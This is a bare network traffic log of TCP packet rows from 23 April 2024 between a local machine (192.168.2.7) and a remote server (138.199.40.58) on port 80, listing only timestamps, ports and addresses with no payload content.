Apr 23, 2024 08:39:58.545701981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545759916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.545761108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545830011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545932055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.545942068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.546045065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.546139002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.546339989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547139883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547175884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547205925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.547233105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547269106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547305107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547324896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.547405005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547430992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.547441006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547477007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.547503948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.547574997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.548015118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.548698902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.548734903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.548924923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.548940897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.549017906 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.549139977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.549154997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.549845934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.549954891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550039053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550066948 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550077915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550115108 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550139904 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550152063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550219059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550283909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550494909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550561905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550586939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550623894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550690889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550719023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550733089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.550757885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550825119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550860882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550928116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.550954103 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.551008940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.552500010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.552666903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.552702904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.552793026 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.552818060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.552897930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.552923918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.553263903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553354979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553431034 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.553508043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553582907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553607941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.553617954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553684950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553705931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.553723097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.553805113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.554100990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554186106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554220915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554271936 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.554306984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554508924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554542065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.554673910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554744005 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554769039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.554812908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554868937 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.554910898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.554980993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.555043936 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.555087090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.555195093 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.555773020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.556349039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.556694984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.556780100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.557015896 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557051897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557137012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.557432890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557472944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557508945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557527065 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.557568073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557658911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.557828903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557936907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.557975054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558005095 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.558161974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558281898 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.558310032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558657885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558753967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558788061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.558819056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558883905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.558928967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.558996916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559077024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.559091091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559127092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559217930 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.559233904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559304953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559391022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.559429884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559585094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559623957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.559648991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.561197042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.561247110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.561283112 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.561328888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.561368942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.561395884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.561439991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.561506987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.561800003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562597036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562638044 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562716961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562743902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.562819004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562854052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.562882900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.563000917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563347101 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.563527107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563632965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563657045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.563766003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563827991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563883066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563886881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.563950062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.563997030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.564018965 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.564080000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.564383984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.565813065 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.565897942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.565921068 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.565993071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.566078901 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.566174984 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.566247940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.566459894 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.567008972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567095041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567123890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567244053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567262888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.567284107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567306995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.567343950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.567651033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.568927050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569000959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569013119 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569063902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.569103956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569194078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.569212914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569312096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569355011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569377899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.569436073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.569586992 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.570818901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.570864916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.570918083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571028948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571049929 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.571089983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571114063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.571356058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571433067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571501017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571574926 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571594000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.571676016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571686983 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.571755886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.571863890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.573262930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.573338985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.573379993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.573462963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574062109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574107885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574130058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.574160099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574222088 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574228048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.574273109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.574317932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.576172113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576200962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576267004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576271057 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.576317072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576347113 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.576427937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576467037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.576484919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.577145100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577270031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577320099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577343941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.577375889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577450991 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577495098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577517986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.577627897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.577847004 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577898979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.577933073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.577984095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578046083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578094959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578120947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.578210115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578232050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.578257084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578315973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578335047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.578377008 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578423023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.578645945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578778982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578850985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.578876972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578890085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578901052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.578919888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.579041958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579102039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.579170942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579243898 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579334021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579355001 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.579400063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579443932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579466105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.579621077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579670906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579724073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579747915 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.579938889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.579998970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580174923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580198050 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.580284119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.580456972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580548048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580630064 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580648899 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.580822945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580862045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.580883026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581026077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581059933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581079006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581134081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581208944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581285000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581299067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581334114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581381083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581461906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581826925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581872940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581873894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581877947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.581918955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.581991911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582010031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582010984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.582180023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582199097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.582653999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582731009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582900047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.582925081 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.583065987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583164930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583257914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583277941 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.583468914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583489895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.583535910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583636999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583718061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583734989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.583863974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583882093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.583905935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.583940983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584012985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584032059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584042072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584062099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584207058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584284067 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584297895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584323883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584446907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584470987 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584522009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584541082 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584574938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584642887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584687948 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584707022 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.584878922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.584898949 CEST	49704	80	192.168.2.7	138.199.40.58
